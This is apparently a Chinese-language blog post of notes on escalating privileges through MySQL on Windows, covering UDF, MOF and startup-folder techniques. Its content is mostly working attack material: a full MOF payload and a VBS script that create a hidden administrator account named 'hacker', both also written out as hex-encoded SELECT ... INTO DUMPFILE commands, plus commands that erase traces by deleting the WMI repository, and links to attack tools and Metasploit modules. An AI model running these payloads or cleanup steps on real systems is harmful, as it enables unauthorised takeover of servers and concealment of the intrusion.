Mysql提权

UDF提权

原理

UDF(user defined function)即用户自定义函数是Mysql的一个拓展接口,用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像version()函数一样。

用户可以通过自己增加函数对Mysql功能进行扩充,文件后缀为.dll

利用条件:

  1. 系统版本为:Server 2003、Windows XP、Windows 7及以下版本
  2. mysql的root用户密码
  3. UDF存放目录:
    1. mysql<5.2,存在于系统目录c:/windows/system32/
    2. mysql>5.2,存在于安装目录MySQL\Lib\Plugin\
  4. 配置项secure_file_priv为空,可写文件

提权原理:

  1. 利用root权限,导入带有调用cmd函数的udf.dll(动态链接库)
  2. 将udf.dll引入Mysql,即可调用其中的函数进行使用

大神的文章:udf.dll源码

有一个自动化工具:https://github.com/T3st0r-Git/HackMySQL

UDP shell

当目标Mysql在内网中,无法直连Mysql或Mysql不允许外联,这时候使用一些网页脚本就比较方便。

UDF.PHP

https://github.com/echohun/tools/blob/master/大马/udf.php

Navicat Mysql

在Navicat的安装目录下有它自带的tunnel隧道脚本,如下图:

将该脚本上传到目标网站上去,之后在连接的时候设置HTTP隧道:

连接成功后就可以进行手工UDF提权了

MOF提权

原理

MOF提权是一个有历史的漏洞, 基本上在Windows Server 2003的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的mof文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个MOF里有一部分是VBS脚本,所以可以利用这个VBS脚本来调用CMD来执行系统命令,如果Mysql有权限操作mof目录的话,就可以来执行任意命令。

mof脚本的内容如下:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

核心payload为:

var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")

利用方法

我们利用Mysql写文件的特性将这个mof文件导入到C:/Windows/system32/wbem/mof/目录下,执行成功的的时候,该mof文件会出现在:c:/windows/system32/wbem/goog/目录下,否则出现在 c:/windows/system32/wbem/bad 目录下。

mysql > select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";

执行后我们需要对mof文件进行痕迹清理:

因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:

# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt

使用msf的exploit/windows/mysql/mysql_mof的模块进行MOF提权,也可以做到自动痕迹清理的效果。

启动项提权

原理

这种提权常用于Windows系统环境下,当Windows开机的时候都会有一些开机启动的程序,在不同Windows版本中,开启启动程序除了可以在注册表中写入,还可以通过将程序放入指定目录中达到开机启动的效果。

Windows Server 2003 启动项路径:

# 中文系统
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动

# 英文系统
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

# 开关机项 需要自己建立对应文件夹
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown

Windows Server 2008 即以上启动项路径:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

利用方法

在知道了路劲的情况下,我们需要往启动项中写入脚本,脚本支持vbs和exe类型,我们可以利用cs生成exe后门,然后转换为十六进制编码形式写入,也可以利用vbs执行cmd命令,如下:

Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0

使用sql语句将改内容写入

mysql > select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";

当然我们也可以使用msf的攻击模块exploit/windows/mysql/mysql_start_up来进行mysql自动化启动项提权

CVE-2016-6663&CVE-2016-6664

后续有时间补充!

参考文章

https://www.sqlsec.com/2020/11/mysql.html

https://wh0ale.github.io/2019/01/06/2019-1-6-Mysql提权/

https://xz.aliyun.com/t/10373

posted @ 2023-01-09 21:17  seizer-zyx  阅读(198)  评论(0编辑  收藏  举报